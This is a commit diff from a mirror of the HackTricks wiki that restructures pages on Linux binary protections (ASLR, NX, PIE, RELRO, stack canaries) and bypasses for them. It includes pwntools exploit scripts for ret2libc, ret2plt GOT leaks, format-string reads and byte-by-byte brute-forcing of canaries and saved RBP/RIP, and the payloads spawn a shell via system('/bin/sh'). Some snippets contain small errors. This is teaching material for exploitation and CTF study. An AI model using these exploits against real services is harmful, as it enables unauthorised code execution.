mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
GITBOOK-4289: change request with no subject merged in GitBook
This commit is contained in:
parent
31e7f071f5
commit
6328aceae4
17 changed files with 570 additions and 126 deletions
16
SUMMARY.md
16
SUMMARY.md
|
@ -705,15 +705,19 @@
|
|||
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
|
||||
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
|
||||
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
|
||||
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
|
||||
* [Common Binary Protections & Bypasses](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
* [Ret2plt](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md)
|
||||
* [PIE](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md)
|
||||
* [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
|
||||
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
|
||||
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
|
|
|
@ -58,8 +58,8 @@ You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
|
|||
|
||||
The **FullRELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
|
||||
|
||||
{% content-ref url="../common-binary-protections/relro.md" %}
|
||||
[relro.md](../common-binary-protections/relro.md)
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
|
|
@ -29,7 +29,7 @@ To **check** the ASLR status on a Linux system, you can read the value from the
|
|||
You can check the ASLR status with the following command:
|
||||
|
||||
```bash
|
||||
bashCopy codecat /proc/sys/kernel/randomize_va_space
|
||||
cat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
### **Disabling ASLR**
|
||||
|
@ -73,7 +73,7 @@ sudo sysctl -p
|
|||
|
||||
This will ensure that your ASLR settings remain across reboots.
|
||||
|
||||
## **Bypassing 32bits ASLR** 
|
||||
## **Bypasses**
|
||||
|
||||
### 32bit brute-forcing
|
||||
|
||||
|
@ -99,12 +99,72 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|||
In 64bit systems the entropy is much higher and this isn't possible.
|
||||
{% endhint %}
|
||||
|
||||
### Having a leak
|
||||
|
||||
* **Challenge is giving a leak**
|
||||
|
||||
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln-32')
|
||||
libc = elf.libc
|
||||
p = process()
|
||||
|
||||
p.recvuntil('at: ')
|
||||
system_leak = int(p.recvline(), 16)
|
||||
|
||||
libc.address = system_leak - libc.sym['system']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
0x0, # return address
|
||||
next(libc.search(b'/bin/sh'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
* **ret2plt**
|
||||
|
||||
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
|
||||
|
||||
{% content-ref url="ret2plt.md" %}
|
||||
[ret2plt.md](ret2plt.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Format Strings Arbitrary Read**
|
||||
|
||||
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
payload += b'%3$s' # The third parameter points at the start of the buffer
|
||||
|
||||
# this part is only relevant if you need to call the main function again
|
||||
|
||||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||
payload += p32(elf.symbols['main'])
|
||||
```
|
||||
|
||||
You can find more info about Format Strings arbitrary read in:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ret2ret
|
||||
|
||||
Try to bypass ASLR abusing addresses inside the stack:
|
||||
|
||||
{% content-ref url="../stack-overflow/ret2ret.md" %}
|
||||
[ret2ret.md](../stack-overflow/ret2ret.md)
|
||||
{% content-ref url="../../stack-overflow/ret2ret.md" %}
|
||||
[ret2ret.md](../../stack-overflow/ret2ret.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
|
@ -0,0 +1,100 @@
|
|||
# Ret2plt
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
|
||||
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**.
|
||||
|
||||
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||
|
||||
```python
|
||||
# 32-bit ret2plt
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
# 64-bit
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
POP_RDI,
|
||||
elf.got['puts']
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main']
|
||||
)
|
||||
```
|
||||
|
||||
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the `GOT`. This is because by the time `puts` prints the `GOT` entry of puts, this **entry will contain the address of `puts` in memory**.
|
||||
|
||||
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the `PLT`, `GOT` and `main`.
|
||||
{% endhint %}
|
||||
|
||||
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that example:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln-32')
|
||||
libc = elf.libc
|
||||
p = process()
|
||||
|
||||
p.recvline()
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
elf.plt['puts'],
|
||||
elf.sym['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
puts_leak = u32(p.recv(4))
|
||||
p.recvlines(2)
|
||||
|
||||
libc.address = puts_leak - libc.sym['puts']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
libc.sym['exit'],
|
||||
next(libc.search(b'/bin/sh\x00'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -20,9 +20,9 @@ The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel ter
|
|||
|
||||
## Bypasses
|
||||
|
||||
* It's possible to use techniques such as **ROP** to bypass this protection by executing chunks of executable code already present in the binary.
|
||||
* **Ret2libc**
|
||||
* **Ret2printc**
|
||||
* It's possible to use techniques such as [**ROP**](../stack-overflow/rop-return-oriented-programing.md) to bypass this protection by executing chunks of executable code already present in the binary.
|
||||
* [**Ret2libc**](../stack-overflow/ret2lib/)
|
||||
* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
|
||||
* **Ret2...**
|
||||
|
||||
<details>
|
|
@ -0,0 +1,55 @@
|
|||
# PIE
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
|
||||
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
|
||||
|
||||
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
|
||||
|
||||
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
|
||||
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
|
||||
|
||||
## Bypasses
|
||||
|
||||
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
|
||||
|
||||
* Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
* **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
|
||||
|
||||
{% content-ref url="bypassing-canary-and-pie.md" %}
|
||||
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Use an arbitrary read vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## References
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -1,4 +1,4 @@
|
|||
|
||||
# BF Addresses in the Stack
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,30 +9,30 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
|
||||
|
||||
![](<../../.gitbook/assets/image (144).png>)
|
||||
![](<../../../../.gitbook/assets/image (144).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
|
||||
However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
|
||||
{% endhint %}
|
||||
|
||||
# Brute force Canary
|
||||
## Brute-Force Addresses
|
||||
|
||||
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
|
||||
In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
|
||||
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
|
||||
|
||||
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
|
||||
{% hint style="success" %}
|
||||
It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
|
||||
{% endhint %}
|
||||
|
||||
## Example 1
|
||||
|
||||
This example is implemented for 64bits but could be easily implemented for 32 bits.
|
||||
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
@ -66,77 +66,14 @@ def get_bf(base):
|
|||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
# CANARY BF HERE
|
||||
canary_offset = 1176
|
||||
base = "A" * canary_offset
|
||||
print("Brute-Forcing canary")
|
||||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
```
|
||||
|
||||
## Example 2
|
||||
|
||||
This is implemented for 32 bits, but this could be easily changed to 64bits.\
|
||||
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Here is the function to brute force the canary
|
||||
def breakCanary():
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
|
||||
# Return the canary
|
||||
return known_canary
|
||||
|
||||
# Start the target process
|
||||
target = process('./feedme')
|
||||
#gdb.attach(target)
|
||||
|
||||
# Brute force the canary
|
||||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
|
||||
# Print Canary
|
||||
|
||||
Another way to bypass the canary is to **print it**.\
|
||||
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.\
|
||||
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).\
|
||||
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session)
|
||||
|
||||
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.\
|
||||
CTF example: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
|
||||
# PIE
|
||||
|
||||
In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
|
||||
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
|
||||
|
||||
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
|
||||
|
||||
```python
|
||||
# PIE BF FROM HERE
|
||||
print("Brute-Forcing RBP")
|
||||
base_canary_rbp = get_bf(base_canary)
|
||||
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
||||
|
@ -145,8 +82,6 @@ base_canary_rbp_rip = get_bf(base_canary_rbp)
|
|||
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||||
```
|
||||
|
||||
## Get base address
|
||||
|
||||
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
|
||||
|
||||
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
|
||||
|
@ -158,15 +93,14 @@ INI_SHELLCODE = RBP - 1152
|
|||
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
|
||||
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
|
||||
|
||||
![](<../../.gitbook/assets/image (145).png>)
|
||||
![](<../../../../.gitbook/assets/image (145).png>)
|
||||
|
||||
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf** _ the base address is _0x562002970**000**_
|
||||
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
|
||||
|
||||
```python
|
||||
elf.address = RIP - (RIP & 0xfff)
|
||||
```
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -176,9 +110,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -36,6 +36,10 @@ It's possible to see if Full RELRO is enabled in a binary with:
|
|||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
|
||||
## Bypass
|
||||
|
||||
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
@ -32,9 +32,19 @@ When a web server uses `fork()`, it enables a brute-force attack to guess the ca
|
|||
|
||||
## Bypasses
|
||||
|
||||
* **Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
|
||||
* If the canary is forked in child processes it might be possible to bruteforce it one byte at a time.
|
||||
* If there is some interesting leak vulnerability in the binary it might be possible to leak it.
|
||||
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
|
||||
|
||||
* If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
|
||||
|
||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* If there is some interesting leak vulnerability in the binary it might be possible to leak it:
|
||||
|
||||
{% content-ref url="print-stack-canary.md" %}
|
||||
[print-stack-canary.md](print-stack-canary.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
|
@ -0,0 +1,124 @@
|
|||
# BF Forked Stack Canaries
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
|
||||
|
||||
![](<../../../../.gitbook/assets/image (144).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
|
||||
However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
|
||||
{% endhint %}
|
||||
|
||||
## Brute force Canary
|
||||
|
||||
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
|
||||
|
||||
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
|
||||
|
||||
### Example 1
|
||||
|
||||
This example is implemented for 64bits but could be easily implemented for 32 bits.
|
||||
|
